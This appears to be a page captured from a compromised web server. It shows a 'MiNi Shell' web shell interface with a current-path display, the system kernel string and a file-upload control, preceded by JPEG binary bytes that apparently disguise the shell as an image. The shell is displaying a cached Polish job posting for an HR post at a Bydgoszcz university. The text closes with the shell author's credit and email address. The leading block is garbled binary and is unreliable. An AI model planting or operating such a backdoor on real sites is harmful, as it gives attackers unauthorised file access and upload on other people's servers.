JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/frontend/runtime/cache/59/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : //home/vmanager/www/frontend/runtime/cache/59/5941a3383f52841a8946c5b656bb4d43.bin

a:2:{i:0;a:2:{i:0;s:13563:"  
            
                        
            <div class="header -portal-color portal-light-background">
                <h2 class="portal-border">Oferta pracy</h2>
            </div>   
            
          
            <div class="row">
                <div class="col-xs-12" itemscope itemtype="http://schema.org/JobPosting">
                    <h1 class="title" itemprop="title" style="font-size:24px;">REFERENT/SPECJALISTA W DZIALE SPRAW PERSONALNYCH CM (NR 1633)</h1>
                                        <p class="subtitle">
                        <span class="glyphicon glyphicon-map-marker" aria-hidden="true"></span> 
                        <strong itemprop="jobLocation" itemscope itemtype="http://schema.org/Place">
                            <span itemprop="address" itemscope itemtype="https://schema.org/PostalAddress">
                                <span itemprop="addressLocality">Bydgoszcz</span>, <span itemprop="addressRegion">kujawsko-pomorskie, Polska</span>
                                <span itemprop="postalCode"> </span><span itemprop="streetAddress"> </span>
                            </span>
                        </strong>
                        <span class="glyphicon glyphicon-time" aria-hidden="true"></span> <strong>Dodano: </strong>
                        <strong>2025-07-11</strong>
                        <!--span itemprop="datePosted" class="hide">2025-07-11</span-->
                        <strong> | ID oferty: 2562588</strong>
                        <meta itemprop="hiringOrganization" content="Centralna Baza Ofert Pracy">
                        <meta itemprop="datePosted" content="2025-07-11">
                        <meta itemprop="validThrough" content="2025-09-09">
                        <meta itemprop="employmentType" content="umowa">
                                            </p>
                    
                    <div class="lorem overflow" itemprop="description">
                        <div><p>Numer oferty:  StPr/25/1633</p><br />Obowiązki:<p>- organizowanie i koordynowanie rekrutacji oraz dbanie o sprawny przebieg i profesjonalny charakter<br />prowadzonych procesów rekrutacyjnych (przygotowanie i publikację ogłoszeń, weryfikację formalną otrzymanych aplikacji, koordynowanie spotkań konkursowych, opracowanie narzędzi oceny kandydatów, scenariuszy spotkań oraz protokołów końcowych),<br />- budowanie relacji z kandydatami oraz dbanie o pozytywny candidate experience,<br />- kształtowanie, udział i dbanie o jakość realizowanych procesów onboardingowych,<br />- tworzenie programów rozwojowych dla pracowników, w tym projektowanie aktywności rozwojowych,<br />- koordynację działań szkoleniowo  rozwojowych (analizowanie potrzeb, organizację, rozliczanie oraz ewaluację),<br />- wsparcie i koordynowanie spraw związanych z procesem oceny okresowej pracowników,<br />- realizacja projektów HR w pozostałych obszarach instytucji.<br /><br />Oferujemy:<br />- zatrudnienie na wiodącym Uniwersytecie badawczym,<br />- stabilne warunki zatrudnienia w ramach umowy o pracę w pełnym wymiarze czasu pracy,<br />- elastyczny czas pracy w ramach ruchomego systemu czasu pracy - wspieramy work-life balance,<br />- dodatkowe wynagrodzenie roczne tzw. trzynastka,<br />- dodatkowe dni wolne:<br />* w Święto Uniwersytetu,<br />* wynikające ze stażu pracy w Uniwersytecie,<br />- możliwość rozwoju zawodowego i podnoszenia kwalifikacji,<br />- możliwość skorzystania z ubezpieczenia grupowego i programu opieki medycznej,<br />- możliwość skorzystania z pakietu świadczeń socjalnych, m.in.:<br />* dofinansowania biletów na wydarzenia kulturalne i sportowe,<br />* dofinansowania do karty PZU Sport,<br />* dofinansowania opłat z tytułu uczęszczania dziecka do żłobka, przedszkola lub innych placówek<br />wychowania przedszkolnego,<br />* dofinansowania wypoczynku, w tym wypoczynku dzieci i młodzieży,<br />* preferencyjnych pożyczek.</p><br /><br />Wymagania:<p></p>Wymagania konieczne:<p>Języki:</p><ul><li>angielski, w mowie - B2 - wyższy średnio zaawansowany, w piśmie - B2 - wyższy średnio zaawansowany</li></ul><br /><p>Wykształcenie:</p><ul><li>wyższe (w tym licencjat)</li></ul><br /><p>Zawód:</p><ul><li>Pracownik do spraw osobowych</li></ul><br /><p>Pozostałe wymagania:</p><ul><li>Wymagania konieczne:- wykształcenie wyższe,- minimum 2-letnie doświadczenie zawodowe,- umiejętność obsługi komputera w tym pakietu MS Office (w szczególności Excel),- samodzielność w prowadzeniu procesów i gotowość do poszukiwania rozwiązań,- wysokie kompetencje organizacyjne,- wysoka kultura osobista i umiejętność komunikacji z przedstawicielami różnych środowisk,- umiejętność przygotowywania i redagowania pism,- umiejętność pracy w zespole,- skrupulatność, odpowiedzialność i zaangażowanie.Dodatkowym atutem będzie:- doświadczenie w obszarze HR (rekrutacja, rozwój, szkolenia pracowników),- znajomość języka angielskiego na poziomie B2/C1 potwierdzona certyfikatem,- znajomość środowiska administracyjnego Uczelni.</li></ul><br /><br /><p>Miejsce pracy: 85-067 Bydgoszcz, powiat: m. Bydgoszcz, woj: kujawsko-pomorskie</p><p>Rodzaj umowy: Umowa o pracę na czas określony</p><p>Staż pracy: lata: 2</p><p>Wymagane dokumenty: Pisemne oferty należy przesyłać:- w postaci elektronicznej na adres e-mail: praca@cm.umk.pllub- w postaci papierowej na adres:Uniwersytet Mikołaja Kopernika w ToruniuCollegium Medicum im. Ludwika Rydygiera w BydgoszczyUl. Jagiellońska 1585-067 BydgoszczDział Spraw Personalnych CMz dopiskiem rekrutacja do Działu Spraw Personalnych CM  HRw terminie do 25.07.2025 r.Informujemy, że skontaktujemy się z wybranymi kandydatami.Wysyłając zgłoszenie rekrutacyjne, zgadzasz się na przetwarzanie przez Uniwersytet Mikołaja Kopernika z siedzibą przy ul. Gagarina 11, 87-100 Toruń (Administrator Danych Osobowych) Twoich danych osobowych zawartych w zgłoszeniu rekrutacyjnym, w celu prowadzenia rekrutacji na stanowisko wskazane w ogłoszeniu (Informacja o przetwarzaniu danych osobowych - załącznik do ogłoszenia).Zgodnie z art. 24 ust. 6 ustawy z dnia 14 czerwca 2024 r. o ochronie sygnalistów (Dz. U. z 2024 r. poz. 928), informacje o procedurze dokonywania zgłoszeń wewnętrznych na Uniwersytecie Mikołaja Kopernika w Toruniu są dostępne na stronie: https://www.umk.pl/kontakt/zgloszenia-wewnetrzne/.------------------------------Załącznik do ogłoszenia Informacja o przetwarzaniu danych osobowychNa podstawie Rozporządzenia Parlamentu Europejskiego i Rady (UE) 2016/679 z dnia 27 kwietnia 2016 r. w sprawie ochrony osób fizycznych w związku z przetwarzaniem danych osobowych i w sprawie swobodnego przepływu takich danych oraz uchylenia dyrektywy 95/46/WE, zwanego dalej RODO, informujemy, że:1. Administratorem Pana/Pani danych osobowych będzie Uniwersytet Mikołaja Kopernika z siedzibą przyul. Gagarina 11, 87-100 Toruń (dalej: ADO, UMK).2. Pana/Pani dane osobowe uzyskane w związku z udziałem w prowadzonej przez nas rekrutacji będą przetwarzane:a) Na podstawie art. 6 ust. 1 lit. a) RODO  w celu pozostawienia danych osobowychw bazie kandydatów do pracy w przyszłych rekrutacjach, lub w przypadku przekazania nam danych osobowych, które swoim zakresem wykraczają poza katalog danych wymienionych w art. 221 Kodeksu Pracy.b) Na podstawie art. 6 ust. 1 lit. b) RODO  w celu podjęcia przez nas niezbędnych czynnościzmierzających do zawarcia umowy, przy czym ostatecznie umowa może nie zostać zawarta.c) Na podstawie art. 6 ust. 1 lit. c) RODO w związku z art. 221 Kodeksu Pracy  w celu pozyskaniainformacji niezbędnych dla prawidłowego przebiegu procesu rekrutacyjnego.d) Na podstawie art. 6 ust. 1 lit. f) RODO w celu ustalenia, dochodzenia lub obrony przed roszczeniami wynikającymi z procesu rekrutacyjnego.3. Pana/Pani dane będą przechowywane przez nas przez okres prowadzenia rekrutacji na wskazane stanowisko.4. W przypadku niektórych procesów rekrutacyjnych możliwe jest przechowywanie przez nas Pana/Pani danych osobowych przez okres do 3 lat, co wynika z okresu przedawnienia roszczeń ze stosunku pracy.Związane to jest z ryzykiem wystąpienia roszczeń o nierówne traktowanie w zatrudnieniu.5. W przypadku wyrażenia zgody Pana/Pani dane osobowe będą przetwarzane przez okres jednego roku w bazie kandydatów do pracy.6. Przysługuje Panu/Pani prawo do cofnięcia zgody w każdym czasie, ale cofnięcie zgody nie wywiera wpływu na przetwarzanie dokonane na jej podstawie przed jej cofnięciem.7. Przysługują Panu/Pani prawa, które zrealizujemy na wniosek o:a) Żądanie dostępu do danych osobowych oraz z zastrzeżeniem przepisów prawa: prawoich sprostowania,b) Żądanie usunięcia lub ograniczenia przetwarzania,c) Sprzeciw wobec przetwarzania.8. Podanie przez Pana/Panią danych osobowych jest dobrowolne, ale niezbędne do realizacji celu, w którym zostały zebrane.9. Przysługuje Panu/Pani prawo wniesienia skargi do Prezesa Urzędu Ochrony Danych Osobowych.10. Pana/Pani dane osobowe udostępniane mogą być organom administracji publicznej, sądom, komornikom w zakresie sytuacji przewidzianych w przepisach prawa, a także podmiotom, z którymi ADO współpracuje w zakresie usług windykacyjnych, prawnych.11. Na dzień zbierania Pana/Pani danych osobowych nie planujemy przekazywać ich poza EOG (obejmujący Unię Europejską, Norwegię, Lichtenstein i Islandię), nie wykluczając tego w przyszłości, o czym zostanie Pan/Pani poinformowania ze stosownym wyprzedzeniem.12. W stosunku do Pana/Pani nie będą prowadzone działania polegające na podejmowaniu decyzji w sposób zautomatyzowany, nie będą one również podlegały zautomatyzowanemu profilowaniu.13. Jeżeli chce Pan/Pani skontaktować się z ADO w sprawach związanych z przetwarzaniem danych osobowych, w szczególności w związku z wniesieniem wniosku o realizację przysługujących praw prosimy o kontakt pod adresem e-mail: iod@umk.pl lub adresem korespondencyjnym ADO, z dopiskiem IOD.Zgoda:1. Wyrażam zgodę na przetwarzanie moich danych osobowych w bazie kandydatów do pracy w przyszłych rekrutacjach...data i podpis2. Wyrażam zgodę na przetwarzanie moich danych osobowych zawartych w dokumentach rekrutacyjnych, których zakres wykracza poza przewidziany w art. 221 Kodeksu Pracy...data i podpis</p><p>Sposób aplikowania: bezpośrednio do pracodawcy</p><br /><p>Kliknij przycisk Aplikuj, aby poznać szczegóły oferty</p></div>                    </div>
                    
                </div>
                
                                <div class="col-xs-12"><div class="portal-light-background p1em mb1">
                    <strong>Kontakt w sprawie rekrutacji:</strong>
                    <p class="pt05">Jeżeli jesteś zainteresowana(y) ofertą pracy skontaktuj się z nami na poniższe dane. Przesyłając do nas swoje CV prosimy zawrzeć klauzule o zgodzie na przetwarzanie danych w celu rekrutacji.</p>
                    <h4 class="l15">
                        Centralna Baza Ofert Pracy<br>                                                                        <a href="https://www.infopraca.pl/praca/referent-specjalista-w-dziale-spraw-personalnych-cm-nr-1633/bydgoszcz/18051898" target="_blank" rel="nofollow">Źródło oferty</a><br>                    </h4>
                    </div></div>
                                
                <div class="col-xs-12" itemprop="manufacturer" itemscope itemtype="http://schema.org/Organization">
                
                                        <span class="strong portal-color">Skontaktuj się z firmą:</span>
                        <hr class="mhr">
                        <div class="block-table" style="width:100%;">
                            <div class="block-row">
                                <p class="subtitle">
                                    <b itemprop="name">Centralna Baza Ofert Pracy</b><br>
                                </p>
                            </div>
                            <div class="block-row">
                                <div itemprop="address" itemscope itemtype="http://schema.org/PostalAddress">
                                    <span itemprop="addressLocality">Bydgoszcz</span>                                    kujawsko-pomorskie                                </div>
                            </div>
                            <hr class="mhr">
                                                            <div class="block-row">
                                    <strong class="strong portal-color">Dane kontaktowe:</strong>
                                </div>
                                <div class="block-row">                                            
                                    <p>
                                                                                                                        <a href="https://www.infopraca.pl/praca/referent-specjalista-w-dziale-spraw-personalnych-cm-nr-1633/bydgoszcz/18051898" rel="nofollow noopener noreferrer" itemprop="url">https://www.infopraca.pl/praca/referent-specjalista-w-dziale-spraw-personalnych-cm-nr-1633/bydgoszcz/18051898</a><br>                                    </p>
                                </div>   
                                <hr class="mhr">
                                                    
                        </div>
                                </div>
            </div>
            
            ";i:1;N;}i:1;O:25:"yii\caching\TagDependency":3:{s:4:"tags";a:3:{i:0;s:10:"job_offers";i:1;s:17:"job_offer_2562588";i:2;s:35:"job_offers_categories_tree_portal_4";}s:4:"data";a:3:{s:32:"098cae0d2a7a67a9c24ff28841178bdd";s:21:"0.30215900 1745851695";s:32:"7b00d943aa3a81d36027a5d4418632d7";s:21:"0.95009700 1752370470";s:32:"3e3395696f7bac13575860b00a016b24";s:21:"0.77300300 1745851918";}s:8:"reusable";b:0;}}

Creat By MiNi SheLL
Email: jattceo@gmail.com